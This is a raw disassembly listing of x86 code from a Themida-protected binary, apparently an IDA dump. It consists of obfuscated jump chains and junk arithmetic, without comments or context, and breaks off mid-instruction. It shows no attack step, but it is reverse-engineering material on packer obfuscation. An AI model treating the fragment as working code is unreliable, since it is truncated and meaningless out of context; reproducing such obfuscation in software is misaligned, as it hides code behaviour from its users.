pop ebx pop edi add edi, 7A415FCFh jmp loc_556F86 ; --------------------------------------------------------------------------- loc_55C5C4: ; CODE XREF: sub_559C84+1B65j xor esi, 50006BB2h mov ebx, esi pop esi jmp loc_55AAE9 ; --------------------------------------------------------------------------- loc_55C5D2: ; CODE XREF: sub_559C84-3743j mov edx, ebx pop ebx sub edx, 245366CDh sub edx, 53B02ABAh jmp loc_55E070 ; --------------------------------------------------------------------------- loc_55C5E6: ; CODE XREF: sub_559C84+59EAj push [esp+4Ch+var_4E+2] pop ebp jmp loc_55F42D ; --------------------------------------------------------------------------- loc_55C5EF: ; CODE XREF: Themida_:00558589j add ebp, 4 add ebp, 4 jmp loc_55F69F ; --------------------------------------------------------------------------- loc_55C5FD: ; CODE XREF: sub_559C84-1AB4j mov eax, 390533C3h shl eax, 8 jmp loc_5558E3 ; --------------------------------------------------------------------------- loc_55C60A: ; CODE XREF: sub_559C84-4391j xor edx, [esp+44h+var_46+2] pop esp shr [esp+40h+var_42+2], cl pushf jmp loc_555973 ; --------------------------------------------------------------------------- loc_55C617: ; CODE XREF: sub_559C84+283Cj push ebx jmp loc_55952C ; --------------------------------------------------------------------------- loc_55C61D: ; CODE XREF: sub_559C84+5AD3j pop esi jmp loc_55E040 ; --------------------------------------------------------------------------- loc_55C623: ; CODE XREF: Themida_:0055DE84j push edx push esi mov esi, 75D9477Ah add esi, 76E60775h xor esi, 4FFE44D7h shl esi, 6 xor esi, 0D753EFE1h jmp loc_55CE55 ; --------------------------------------------------------------------------- loc_55C644: ; DATA XREF: Themida_:00553240o mov ax, word ptr [esp+3Ah+var_3A] push 64A5h mov [esp+3Eh+var_3E], ecx push esp pop ecx push 6319h mov [esp+42h+var_42], edx mov edx, 4 jmp loc_553911 ; --------------------------------------------------------------------------- loc_55C664: ; CODE XREF: sub_559C84-592j sub edi, 0AE30E515h sub ecx, 195A52B4h jmp loc_55A36E ; --------------------------------------------------------------------------- loc_55C675: ; CODE XREF: sub_559C84-66C4j add edi, ecx pop ecx jmp loc_558B61 ; --------------------------------------------------------------------------- loc_55C67D: ; CODE XREF: sub_559C84-2087j pop ebp sub ebx, edx pop edx push edx jmp loc_55BE1F ; --------------------------------------------------------------------------- loc_55C687: ; CODE XREF: sub_559C84+1FA5j sub esp, 4 mov [esp+50h+var_52+2], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+50h+var_52+2] mov esp, [esp+50h+var_52+2] jmp loc_554B2D ; --------------------------------------------------------------------------- loc_55C6A5: ; CODE XREF: Themida_:005582D0j sub esp, 4 mov [esp+0], eax mov eax, 1C40328Fh not eax dec eax add eax, 1C403295h push eax sub [esp+58h+var_58], 55307D7Ch jmp loc_55E9ED ; --------------------------------------------------------------------------- loc_55C6C8: ; CODE XREF: sub_559C84-606Bj xor ecx, [esp+18h+var_18] mov esp, [esp+18h+var_18] jmp loc_55495B ; --------------------------------------------------------------------------- loc_55C6D3: ; CODE XREF: sub_55698E+AA0j shr ch, 7 or ch, 0Bh jmp loc_55F5A9 ; --------------------------------------------------------------------------- loc_55C6DE: ; CODE XREF: sub_559C84-3C1Ej shl edx, 1 sub esp, 4 mov [esp+3Ah+var_3A], eax push 2C1Eh mov [esp+3Eh+var_3E], esi mov esi, 151E6716h push 7A89h mov [esp+42h+var_42], ebx mov ebx, 191A092Bh add esi, ebx jmp loc_55A1CB ; --------------------------------------------------------------------------- loc_55C70A: ; CODE XREF: sub_559C84-3B70j mov [esp+40h+var_42+2], edx mov edx, esp jmp loc_55E619 ; --------------------------------------------------------------------------- loc_55C714: ; CODE XREF: sub_559C84-2AB2j mov ebp, [esp-16h+arg_10+2] jmp loc_55D778 ; --------------------------------------------------------------------------- loc_55C71C: ; CODE XREF: sub_559C84+4B6j mov ebp, esi jmp loc_555980 ; --------------------------------------------------------------------------- loc_55C723: ; CODE XREF: sub_559C84-1041j sub esp, 4 jmp loc_556DF1 ; --------------------------------------------------------------------------- loc_55C72B: ; CODE XREF: sub_556F29-26C9j shr ebx, 4 dec ebx jmp loc_559D67 ; --------------------------------------------------------------------------- loc_55C734: ; CODE XREF: sub_559C84-80Aj mov al, 0D1h dec al xchg dl, al not dl xchg dl, al xor al, 1 sub al, 0D8h sub al, 0C6h add al, 0D0h sub bl, al pop eax jmp loc_554774 ; --------------------------------------------------------------------------- loc_55C74E: ; CODE XREF: sub_559C84+2DDAj xor edi, esi pop esi jmp loc_557E78 ; --------------------------------------------------------------------------- loc_55C756: ; CODE XREF: sub_559C84+1E25j mov ebp, 7AB20A94h jmp loc_55A619 ; --------------------------------------------------------------------------- loc_55C760: ; CODE XREF: sub_55F275+184j sub dword ptr [esp+4], 4C0A61B2h add [esp+4], ebx add dword ptr [esp+4], 4C0A61B2h pop ebx mov ebp, [esp+0] add esp, 4 push ecx mov ecx, 4 jmp loc_55F0DE ; --------------------------------------------------------------------------- loc_55C789: ; CODE XREF: sub_55F86E+8j mov ebp, [esp+0] add esp, 4 jmp loc_55B83C ; --------------------------------------------------------------------------- loc_55C794: ; CODE XREF: sub_559C84+259Fj mov ebp, [esp+2Eh+var_30+2] add esp, 4 mov edx, ecx pop ecx jmp loc_555DA3 ; --------------------------------------------------------------------------- loc_55C7A2: ; CODE XREF: sub_559C84+31F4j add edi, 15CFC221h shr edi, 1 jmp loc_55F596 ; --------------------------------------------------------------------------- loc_55C7AF: ; CODE XREF: sub_559C84-135j not esi xor esi, 45636D75h sub esi, 81740E3Eh add ebp, 40AE73A2h sub ebp, esi sub ebp, 40AE73A2h jmp loc_557DE7 ; --------------------------------------------------------------------------- loc_55C7D0: ; CODE XREF: sub_559C84-395Fj xor al, dl pop edx push ecx mov ch, 99h xor ch, 40h add ch, 0FFh jmp loc_55D5F6 ; --------------------------------------------------------------------------- loc_55C7E1: ; CODE XREF: sub_559C84+5F9Cj add esp, 4 sub ebx, ebp pop ebp push ecx mov ecx, 213B1A36h jmp loc_55592C ; --------------------------------------------------------------------------- loc_55C7F5: ; CODE XREF: sub_5547B0+24A3j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+40h+var_42+2] pop esp jmp loc_55C136 ; --------------------------------------------------------------------------- loc_55C809: ; CODE XREF: sub_559C84-456Fj mov al, 63h or al, 6Eh jmp loc_55B15F ; --------------------------------------------------------------------------- loc_55C812: ; CODE XREF: sub_559C84+32C5j add esp, 4 jmp loc_55F3B3 ; --------------------------------------------------------------------------- loc_55C81A: ; CODE XREF: sub_559C84-1365j sub al, ch pop ecx sub al, bl push ecx jmp loc_55C50C ; --------------------------------------------------------------------------- loc_55C825: ; CODE XREF: sub_559C84-21B8j dec ecx or ecx, 103338EAh jmp loc_5549FD ; --------------------------------------------------------------------------- loc_55C831: ; CODE XREF: sub_559C84-53ADj mov eax, [esp+4Ch+var_4E+2] add esp, 4 jmp loc_553DE1 ; --------------------------------------------------------------------------- loc_55C83F: ; CODE XREF: sub_557B4C+Aj mov ebx, [esp+48h+var_4A+2] jmp loc_55AD3A ; --------------------------------------------------------------------------- loc_55C847: ; CODE XREF: sub_559C84-4731j add edx, 4 push edi push eax push 43F12FF1h jmp loc_55F7FE ; --------------------------------------------------------------------------- byte_55C859 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055327Co dd 26C96824h, 3C890000h, 38CB6824h, 77E90000h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C86F: ; CODE XREF: sub_559C84+B06j push ecx mov ecx, 3F885891h push 1D0Ch mov [esp+58h+var_58], eax mov eax, 6BE6671Dh jmp loc_5569F5 ; --------------------------------------------------------------------------- loc_55C887: ; CODE XREF: sub_559C84+1707j add ebx, 0FFFFFFFFh jmp loc_55CE5D ; --------------------------------------------------------------------------- loc_55C892: ; CODE XREF: sub_559C84+5C16j add al, 1Ah mov dx, word ptr [esp+10h+var_10] push eax mov eax, esp add eax, 4 add eax, 2 xchg eax, [esp+14h+var_14] mov esp, [esp+14h+var_14] add bl, 0D5h add bl, 4 sub bl, al sub bl, 4 sub esp, 4 jmp loc_554509 ; --------------------------------------------------------------------------- loc_55C8BE: ; CODE XREF: sub_559C84-5311j sub al, 0C7h jmp loc_55CC51 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+46h+var_46] sub esp, 4 mov [esp+4Ah+var_4A], ebp push esp jmp loc_55B22F ; --------------------------------------------------------------------------- loc_55C8D5: ; CODE XREF: sub_559C84-4EB5j pop esi xor eax, [esp+4Ah+var_4A] xor [esp+4Ah+var_4A], eax xor eax, [esp+4Ah+var_4A] pop esp push ebp mov ebp, 16C7999h and ebp, 5960748Fh jmp loc_556C31 ; --------------------------------------------------------------------------- loc_55C8F1: ; CODE XREF: Themida_:0055E47Bj mov esi, 3B0B511Bh jmp loc_555BCF ; --------------------------------------------------------------------------- loc_55C8FB: ; CODE XREF: sub_559C84-6589j mov edx, ecx mov ecx, [esp+16h+var_18+2] add esp, 4 jmp loc_55FA1D ; --------------------------------------------------------------------------- loc_55C90B: ; CODE XREF: Themida_:005562E1j sub ebx, 276620A8h shr ebx, 6 not ebx xor ebx, 0FEF0E77Bh add ecx, ebx pop ebx add ecx, 2 push 6B7Dh mov [esp+12h+var_14+2], ecx push [esp+12h+var_10+2] pop ecx jmp loc_5596BF ; --------------------------------------------------------------------------- loc_55C934: ; CODE XREF: sub_559C84+34ECj pop [esp+12h+var_14+2] jmp loc_55F326 ; --------------------------------------------------------------------------- loc_55C93C: ; CODE XREF: sub_559C84+3CB6j push edi mov edi, 3F280832h mov ebp, edi jmp loc_5594A7 ; --------------------------------------------------------------------------- loc_55C949: ; CODE XREF: sub_55E34A+6j shl ebx, 3 xor ebx, 563F1119h jmp loc_558DA6 ; --------------------------------------------------------------------------- loc_55C957: ; CODE XREF: sub_559C84+3B7Bj pop ax xor dh, 0A9h jmp loc_55409C ; --------------------------------------------------------------------------- loc_55C961: ; CODE XREF: sub_559C84+3659j pop eax jmp loc_55EE06 ; --------------------------------------------------------------------------- loc_55C967: ; CODE XREF: sub_559C84+56CDj sub edi, 4CBE0813h add edi, edx add edi, 4CBE0813h add edi, 30441D05h push [esp+0Ch+var_C] jmp loc_55AF4C ; --------------------------------------------------------------------------- loc_55C983: ; CODE XREF: sub_559C84-673Aj sub al, 0BFh push edx jmp loc_55853A ; --------------------------------------------------------------------------- loc_55C98B: ; CODE XREF: sub_559C84-169Bj test ecx, eax pushf jmp loc_55E136 ; --------------------------------------------------------------------------- loc_55C993: ; CODE XREF: sub_559C84+1D18j push ecx mov ecx, esp push ebx mov ebx, 0E48124Dh inc ebx inc ebx xchg edi, ebx not edi xchg edi, ebx xor ebx, 0F1B7EDB4h jmp loc_5540F7 ; --------------------------------------------------------------------------- loc_55C9AF: ; CODE XREF: sub_559C84-3DC8j add ebx, 441A1E87h push edx push 4C222831h pop edx sub esp, 4 mov [esp+52h+var_52], ecx push 66F13949h pop ecx neg ecx xor ecx, 509B66ADh jmp loc_5581D5 ; --------------------------------------------------------------------------- loc_55C9D5: ; CODE XREF: sub_559C84-1CFEj or eax, eax jz sub_557ED1 push dword ptr [edi+1Ch] push 15BFh mov [esp+40h+var_42+2], esi jmp loc_55A67A ; --------------------------------------------------------------------------- loc_55C9ED: ; CODE XREF: Themida_:0055E4A3j pop ebp push esi mov esi, esp push eax mov eax, 7CCE1CD7h jmp loc_55F779 ; --------------------------------------------------------------------------- loc_55C9FC: ; CODE XREF: sub_559C84+2483j push 104C57A3h jmp loc_55A133 ; --------------------------------------------------------------------------- loc_55CA06: ; CODE XREF: sub_559C84-5BDAj push ebx jmp loc_55640E ; --------------------------------------------------------------------------- loc_55CA0C: ; CODE XREF: sub_559C84+5EEAj mov esp, [esp+6+var_8+2] jmp loc_55DD70 ; --------------------------------------------------------------------------- loc_55CA14: ; CODE XREF: sub_559C84-1C24j inc edi inc edi sub edi, 6F23C0Bh mov ebp, edi pop edi shl ebp, 2 dec ebp sub ebp, 4C3D34D6h sub ebp, 4B3FAE29h add eax, ebp pop ebp push ebp push ecx push ebx jmp loc_556DA7 ; --------------------------------------------------------------------------- loc_55CA3A: ; CODE XREF: sub_559C84-5EF8j push edi mov edi, 2C7D66AEh inc edi shl edi, 1 and edi, 1E6D6BBBh add edi, 309929B2h inc edi push esi mov esi, 632E0367h not esi add esi, 0AC2F7631h jmp loc_55C74E ; --------------------------------------------------------------------------- loc_55CA63: ; CODE XREF: sub_55DBF3-61B2j pop esp mov esi, [esp+1Ch+var_1C] push esi mov esi, esp add esi, 4 push eax jmp loc_556598 ; --------------------------------------------------------------------------- loc_55CA76: ; DATA XREF: Themida_:0055328Co mov cx, word ptr [esp+24h+var_24] jmp sub_555BE3 ; --------------------------------------------------------------------------- push 53947h mov eax, [esp+28h+var_28] push esi jmp loc_55E22B ; --------------------------------------------------------------------------- loc_55CA8D: ; CODE XREF: sub_559C84+50BDj add esi, ebx jmp loc_556546 ; --------------------------------------------------------------------------- push [esp+2Ch+var_2C] jmp loc_556EAA ; --------------------------------------------------------------------------- loc_55CA9C: ; CODE XREF: sub_559C84+2EA2j add esp, 4 sub ebp, 4D190B50h and eax, ebp mov ebp, [esp+2Ch+var_2C] jmp loc_55A943 ; --------------------------------------------------------------------------- loc_55CAAF: ; CODE XREF: sub_559C84-2294j pop esp push ebp push 31272EC0h mov ebp, [esp+32h+var_34+2] jmp loc_55B0AA ; --------------------------------------------------------------------------- loc_55CABE: ; CODE XREF: sub_559C84+44D0j xor edx, 772630E0h mov ecx, edx pop edx push eax mov eax, 30A78F19h sub ecx, eax pop eax xor eax, ecx pop ecx push 53D7h mov [esp+2Eh+var_30+2], edi mov edi, 4D3D587Dh sub esp, 4 mov [esp+32h+var_34+2], esi mov esi, 0BB447E4h or edi, esi jmp loc_553763 ; --------------------------------------------------------------------------- loc_55CAF5: ; CODE XREF: sub_559C84-4E29j shr edi, 1 jmp loc_55F146 ; --------------------------------------------------------------------------- loc_55CAFC: ; CODE XREF: sub_559C84-2909j add esi, ebp jmp loc_55E1E1 ; --------------------------------------------------------------------------- loc_55CB03: ; CODE XREF: sub_559C84+3049j pop esp jmp loc_556A56 ; --------------------------------------------------------------------------- loc_55CB09: ; CODE XREF: sub_559C84-2069j sub edi, 5E33F93Fh mov ebp, edi pop edi push edx mov edx, 8C61B15h mov ecx, 0F794038Eh jmp loc_5571C2 ; --------------------------------------------------------------------------- loc_55CB22: ; CODE XREF: sub_559C84-4582j push [esp+48h+var_4A+2] pop eax jmp loc_55CA9C ; --------------------------------------------------------------------------- loc_55CB2B: ; CODE XREF: sub_559C84-2A3Cj dec bh sub bh, 0DBh add al, bh pop ebx mov ebx, [esp+4Ah+var_4A] jmp loc_55982F ; --------------------------------------------------------------------------- loc_55CB3B: ; CODE XREF: sub_55991D-2852j pop ebp mov edx, [esp+46h+var_46] jmp loc_55A4EE ; --------------------------------------------------------------------------- loc_55CB44: ; CODE XREF: sub_559C84-4E5Cj add ecx, edx pop edx push ebp mov ebp, 2 add ecx, ebp pop ebp push ecx jmp loc_558F32 ; --------------------------------------------------------------------------- loc_55CB56: ; CODE XREF: sub_559C84+14Bj jmp loc_55351F ; --------------------------------------------------------------------------- loc_55CB5B: ; CODE XREF: sub_559C84+479Cj push ebp mov ebp, 51321FAFh xor eax, ebp pop ebp push ebp push ebx jmp loc_55D0B2 ; --------------------------------------------------------------------------- loc_55CB6B: ; CODE XREF: sub_559C84+3815j shr ecx, 0Bh push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+5Eh+var_60+2] pop esp mov [esp+5Ah+var_5C+2], ebx jmp loc_5551BC ; --------------------------------------------------------------------------- loc_55CB86: ; CODE XREF: sub_559C84+33EFj add esi, ebp sub esi, 443A085Eh pop ebp jmp sub_554D6A ; --------------------------------------------------------------------------- loc_55CB94: ; CODE XREF: sub_559C84-1612j mov [esp+2Ch+var_2C], ebp mov ebp, 2D6924F1h xor ebp, 674A30CCh push ebx mov ebx, 619B2366h jmp loc_55AC6A ; --------------------------------------------------------------------------- loc_55CBAD: ; CODE XREF: sub_559C84+35E6j dec esi shr esi, 3 sub esi, 0B7E78689h add eax, 7D885FE1h push esi mov esi, 636903BBh add eax, esi pop esi push ebx mov ebx, 41E220EFh sub eax, ebx pop ebx add eax, esi add eax, 41E220EFh sub eax, 636903BBh sub eax, 7D885FE1h push [esp+30h+var_30] pop esi add esp, 4 push 7F13h mov [esp+30h+var_30], ecx push 4D5h mov [esp+34h+var_34], edi push 7CA2C4Ch push [esp+38h+var_3A+2] pop edi add esp, 4 jmp sub_5577DF ; --------------------------------------------------------------------------- loc_55CC0A: ; CODE XREF: sub_559C84-482Ej xor [esp+40h+var_42+2], edx xor edx, [esp+40h+var_42+2] mov esp, [esp+40h+var_42+2] or word ptr [esp+40h+var_42+2], ax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55CC1D: ; CODE XREF: sub_559C84-5E69j add edx, 4 push 1234h mov [esp+4+var_4], edx jmp loc_555544 ; --------------------------------------------------------------------------- loc_55CC30: ; CODE XREF: sub_556D03+1Dj xor edi, [esp+4+var_4] xor [esp+4+var_4], edi jmp loc_5595DF ; --------------------------------------------------------------------------- loc_55CC3B: ; CODE XREF: sub_559C84+5034j shr ecx, 2 sub ecx, 3EFEEFEBh sub ebx, 7450121h add ebx, ecx jmp loc_553876 ; --------------------------------------------------------------------------- loc_55CC51: ; CODE XREF: sub_559C84+2C3Cj add al, 0F5h jmp loc_55A02C ; --------------------------------------------------------------------------- loc_55CC58: ; CODE XREF: Themida_:00559089j mov esp, [esp+46h+var_46] add edx, 4 push ecx push ebp push 16BE1ABBh pop ebp mov ecx, 4CB56EE1h xor ecx, ebp pop ebp or ecx, 48DB46B5h dec ecx push esi mov esi, 138012AEh add ecx, esi pop esi sub ecx, 6E5B89AAh add edx, ecx pop ecx xchg edx, [esp+46h+var_46] jmp loc_55E547 ; --------------------------------------------------------------------------- loc_55CC92: ; CODE XREF: sub_559C84-6165j and eax, ebx push [esp+3Ah+var_3A] pop ebx add esp, 4 or eax, eax jz sub_556D58 push 119Fh mov [esp+3Ah+var_3A], ebx mov ebx, 2A1816F1h add ebx, 1E9105Dh add ebx, 2157540h push eax mov eax, 53A5618Ch jmp loc_55AB40 ; --------------------------------------------------------------------------- loc_55CCC7: ; CODE XREF: sub_559C84+3392j xor [esp+3Eh+var_3E], edx xor edx, [esp+3Eh+var_3E] jmp loc_55CB03 ; --------------------------------------------------------------------------- loc_55CCD2: ; CODE XREF: sub_559C84-3560j mov ebp, 4 add edx, ebp pop ebp sub edx, 4 push edx push [esp+54h+var_52+2] jmp loc_555C3B ; --------------------------------------------------------------------------- loc_55CCEA: ; CODE XREF: sub_559C84+59DFj sub edi, 261980FDh jmp loc_559190 ; --------------------------------------------------------------------------- loc_55CCF5: ; CODE XREF: sub_559C84-1578j mov edi, esp add edi, 4 jmp loc_554183 ; --------------------------------------------------------------------------- loc_55CD02: ; CODE XREF: sub_559C84-4C31j add [esp+4Ah+var_4A], 4 push [esp+4Ah+var_4A] pop ecx push esi mov esi, esp jmp loc_554B7C ; --------------------------------------------------------------------------- loc_55CD12: ; CODE XREF: sub_556B78+10j mov esi, 4 add edx, esi jmp loc_5572E6 ; --------------------------------------------------------------------------- loc_55CD1E: ; CODE XREF: sub_555570+Ej shr ebx, 6 add ebx, 7DAA0537h sub edx, ebx pop ebx jmp loc_5544FB ; --------------------------------------------------------------------------- loc_55CD2F: ; CODE XREF: sub_559C84-27AEj or dl, 25h push 44Bh mov [esp+1Ch+var_1C], eax jmp loc_55B62F ; --------------------------------------------------------------------------- loc_55CD3F: ; CODE XREF: sub_557F5F+10j mov dh, al pop eax jmp loc_5563C1 ; --------------------------------------------------------------------------- loc_55CD47: ; CODE XREF: sub_559C84-29B4j mov dl, 19h neg dl sub dl, 0DEh sub bl, 88h sub bl, dl jmp loc_5538EF ; --------------------------------------------------------------------------- loc_55CD58: ; CODE XREF: sub_559C84-15ACj mov [esp+34h+var_34], edx push ecx mov ecx, 3B300CFBh dec ecx neg ecx add ecx, 3B300CFEh mov edx, ecx jmp loc_5549EC ; --------------------------------------------------------------------------- mov cx, word ptr [esp+38h+var_3A+2] sub esp, 4 mov [esp+3Ch+var_3E+2], ebp push esp pop ebp push 2220h mov [esp+40h+var_42+2], edx mov edx, 11FA5A8Bh or edx, 34B800A6h jmp loc_553E6C ; --------------------------------------------------------------------------- loc_55CD95: ; CODE XREF: sub_559C84-3658j pop esp jmp loc_55F370 ; --------------------------------------------------------------------------- loc_55CD9B: ; CODE XREF: sub_559C84+1BB3j pop eax sub cl, dh sub cl, 0BEh mov edx, [esp+5Ah+var_5C+2] add esp, 4 jmp loc_55A53C ; --------------------------------------------------------------------------- loc_55CDAC: ; CODE XREF: Themida_:00558100j mov [esp+56h+var_58+2], esi jmp loc_5588EE ; --------------------------------------------------------------------------- loc_55CDB4: ; CODE XREF: sub_559C84-5B7Aj mov [esp+4+var_4], ebx jmp loc_555758 ; --------------------------------------------------------------------------- loc_55CDBC: ; CODE XREF: sub_557739-365Bj add edx, 4 push ebx mov ebx, 97429B9h xor ebx, 56EC34A3h push ecx mov ecx, 65DC588Eh and ecx, 268774ABh sub ecx, 6AAE4018h add ecx, 2DFB2572h xor ecx, 245C0BDCh add ecx, 9F1B006Eh or ebx, ecx pop ecx xor ebx, 390C0B5Eh add ebx, 0B94BCB24h jmp loc_559638 ; --------------------------------------------------------------------------- loc_55CE06: ; CODE XREF: sub_559C84-5D88j and eax, ebx push dword ptr [esp+0] pop ebx add esp, 4 or edx, eax shl edx, 1 push eax jmp loc_556224 ; --------------------------------------------------------------------------- loc_55CE1C: ; CODE XREF: sub_558BB5+1085j add edi, 4 push edx jmp sub_554572 ; --------------------------------------------------------------------------- loc_55CE28: ; CODE XREF: sub_559C84+4FF9j mov edx, 30B81922h mov esi, 30B81926h xor esi, edx jmp loc_5549AF ; --------------------------------------------------------------------------- loc_55CE39: ; CODE XREF: sub_559C84-371Fj xchg edi, [esp+48h+var_4A+2] mov esp, [esp+48h+var_4A+2] or eax, eax jnz loc_556108 push 55AAh mov [esp+4Ch+var_4E+2], eax push edi jmp loc_5575E6 ; --------------------------------------------------------------------------- loc_55CE55: ; CODE XREF: sub_559C84+29BBj mov edx, esi pop esi jmp loc_55EFA2 ; --------------------------------------------------------------------------- loc_55CE5D: ; CODE XREF: sub_559C84+2C09j sub ebx, 2DD66440h push eax jmp loc_5575AC ; --------------------------------------------------------------------------- loc_55CE69: ; CODE XREF: sub_559C84-102Aj or edi, 53EB1ABCh and edi, 18B7102Dh shr edi, 7 jmp loc_55C7A2 ; --------------------------------------------------------------------------- loc_55CE7D: ; CODE XREF: sub_559C84-5CD6j mov dl, 2Ch add bl, dl pop edx add bl, ch jmp loc_556DB2 ; --------------------------------------------------------------------------- loc_55CE89: ; CODE XREF: Themida_:00556E24j xchg al, bh not al xchg al, bh mov dl, bh pop ebx push ax mov al, 0A3h and dl, al pop ax add dl, 0A9h add al, 86h add al, dl sub al, 86h pop edx jmp loc_559FFB ; --------------------------------------------------------------------------- loc_55CEA9: ; CODE XREF: sub_559C84-594Dj xor [esp-14h+arg_10], ecx xor ecx, [esp-14h+arg_10] pop esp cmp ecx, eax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55CEB8: ; CODE XREF: sub_559C84+54E2j xor ebp, 27AB9BAEh jmp loc_5584E5 ; --------------------------------------------------------------------------- loc_55CEC3: ; CODE XREF: sub_559C84-FFDj add esp, 2 push esi push small 5CA9h mov word ptr [esp+2Eh+var_30+2], bp mov bp, 2BEBh mov si, bp jmp loc_554E6D ; --------------------------------------------------------------------------- loc_55CEDE: ; CODE XREF: sub_559C84-1C9Cj push esi mov esi, 4E266850h sub esi, 4E26684Ch jmp loc_55EC36 ; --------------------------------------------------------------------------- loc_55CEEF: ; CODE XREF: sub_559C84-6030j pop edi jmp loc_55AF82 ; --------------------------------------------------------------------------- loc_55CEF5: ; CODE XREF: Themida_:005578E8j push ebp jmp loc_55C228 ; --------------------------------------------------------------------------- loc_55CEFB: ; CODE XREF: sub_559C84-1463j xor ebx, 0D8898FFAh add edi, 440A6EBAh jmp loc_55E334 ; --------------------------------------------------------------------------- loc_55CF0C: ; CODE XREF: sub_559C84-375Cj pop esp push 353Fh mov [esp+50h+var_52+2], edx push 7B580E63h jmp loc_55D93F ; --------------------------------------------------------------------------- loc_55CF1F: ; CODE XREF: sub_559C84+5440j xchg esi, [esp+0] pop esp push 3DABh mov [esp+0], eax mov eax, 4 jmp loc_55E924 ; --------------------------------------------------------------------------- loc_55CF35: ; CODE XREF: sub_559C84-588j push ecx push edx jmp loc_557083 ; --------------------------------------------------------------------------- loc_55CF3C: ; CODE XREF: sub_559C84-71Ej and eax, ebp pop ebp or edx, eax jmp loc_555ABF ; --------------------------------------------------------------------------- loc_55CF46: ; CODE XREF: sub_559C84+3410j mov eax, [esp+5Ch+var_5C] jmp loc_55C812 ; --------------------------------------------------------------------------- loc_55CF4E: ; CODE XREF: sub_559C84+3BA3j mov bl, ch jmp loc_55EF44 ; --------------------------------------------------------------------------- loc_55CF55: ; CODE XREF: sub_559C84-194Fj sub ebp, 443E5EBh jmp loc_559446 ; --------------------------------------------------------------------------- loc_55CF60: ; CODE XREF: sub_559C84+3C12j jmp loc_55351F ; --------------------------------------------------------------------------- loc_55CF65: ; CODE XREF: sub_559C84+542Cj mov edx, 9750FFBh mov ebp, 2542F575h add ebp, edx pop edx add ebp, 3AC100D9h dec ebp shr ebp, 6 xchg esi, ebp add esi, 0FFFFFFFFh push ebp push 3C22h mov [esp+2Ah+var_2C+2], esi mov ebp, [esp+2Ah+var_2C+2] jmp loc_559CA4 ; --------------------------------------------------------------------------- loc_55CF92: ; CODE XREF: sub_559C84-147Dj sub al, 51h jmp loc_558991 ; --------------------------------------------------------------------------- loc_55CF99: ; CODE XREF: sub_559C84+3FECj sub bl, 0A7h jmp loc_554C3A ; --------------------------------------------------------------------------- loc_55CFA1: ; CODE XREF: sub_559C84+FBBj xor ebp, [esp-0Ch+arg_8] jmp loc_55A6E3 ; --------------------------------------------------------------------------- loc_55CFA9: ; CODE XREF: sub_559C84+5225j xor eax, ecx push esi mov esi, esp add esi, 4 push eax mov eax, 4 sub esi, eax jmp loc_558711 ; --------------------------------------------------------------------------- loc_55CFC1: ; CODE XREF: sub_559C84-22EBj push 351D237Eh jmp loc_5551A5 ; --------------------------------------------------------------------------- loc_55CFCB: ; CODE XREF: sub_553E48+Ej pop ebx push edx jmp loc_553C1E ; --------------------------------------------------------------------------- mov cx, word ptr [esp+3Ah+var_3A] sub esp, 4 mov [esp+3Eh+var_3E], edx push 4022h push esp pop [esp+46h+var_46] add [esp+42h+var_42], 4 pop edx add edx, 4 push ebp mov ebp, 2 add edx, ebp mov ebp, [esp+42h+var_42] push eax mov eax, esp add eax, 4 push ebp mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp+46h+var_46] pop esp xor edx, [esp+42h+var_42] jmp loc_55CCC7 ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push small 43CDh mov word ptr [esp+44h+var_46+2], ax jmp loc_55351F ; --------------------------------------------------------------------------- loc_55D02C: ; CODE XREF: sub_559C84-2D93j mov edx, 4 add ecx, edx pop edx add ecx, 2 xchg ecx, [esp+10h+var_10] mov esp, [esp+10h+var_10] jmp loc_558522 ; --------------------------------------------------------------------------- loc_55D045: ; CODE XREF: sub_559C84+70Bj and eax, ecx jmp loc_55BF8C ; --------------------------------------------------------------------------- loc_55D04C: ; CODE XREF: sub_559C84+222Bj mov esi, esp jmp loc_5579DE ; --------------------------------------------------------------------------- loc_55D053: ; CODE XREF: sub_559C84-FA4j xchg ebx, [esp+30h+var_30] pop esp mov [esp+2Ch+var_2C], eax mov eax, 4 add esi, eax pop eax sub esp, 4 mov [esp+2Ch+var_2C], ebp mov ebp, 4 add esi, 443A085Eh jmp loc_55CB86 ; --------------------------------------------------------------------------- loc_55D078: ; CODE XREF: sub_559C84-1863j add esp, 2 push eax mov ah, 0AEh xor ah, 57h or ah, 0DDh shr ah, 2 sub ah, 0FFh jmp loc_557BAC ; --------------------------------------------------------------------------- loc_55D08F: ; CODE XREF: sub_559C84+A76j add esp, 4 push eax push esp jmp loc_55CF46 ; --------------------------------------------------------------------------- loc_55D099: ; CODE XREF: sub_559C84-17AFj xor ebp, 3F2A4AC7h push 7D2Bh mov [esp+5Ch+var_5C], ebx sub esp, 4 mov [esp+60h+var_60], ecx jmp loc_559668 ; --------------------------------------------------------------------------- loc_55D0B2: ; CODE XREF: sub_559C84+2EE2j push esi mov esi, 559101C6h mov ebx, esi pop esi add ebx, 48263527h dec ebx xor ebx, 585D27FFh or ebx, 369F10E4h or ebx, 75280CE2h add ebx, 0D61F6FBh mov ebp, ebx pop ebx sub eax, ebp jmp loc_553B1B ; --------------------------------------------------------------------------- loc_55D0E4: ; CODE XREF: sub_559C84+40FCj add bl, 0ECh mov ch, bl pop ebx jmp loc_559F7E ; --------------------------------------------------------------------------- loc_55D0EF: ; CODE XREF: sub_559C84+70j xchg ebx, [esp+32h+var_34+2] jmp loc_555D8B ; --------------------------------------------------------------------------- loc_55D0F7: ; CODE XREF: sub_559C84+5F21j add edx, 64877F04h jmp loc_55B69B ; --------------------------------------------------------------------------- loc_55D102: ; CODE XREF: sub_559C84-3058j pop esi pop ebp push edx push ebx mov ebx, 59D16E9Fh sub ebx, 7EE03ABFh shr ebx, 8 jmp loc_5571BA ; --------------------------------------------------------------------------- loc_55D119: ; CODE XREF: sub_559C84+586Fj sub edi, 28E67473h push 5ECEh mov [esp+4Eh+var_4E], edi jmp loc_555513 ; --------------------------------------------------------------------------- loc_55D12C: ; CODE XREF: Themida_:0055F700j pop edx sub edx, 0D903594h pop eax jmp 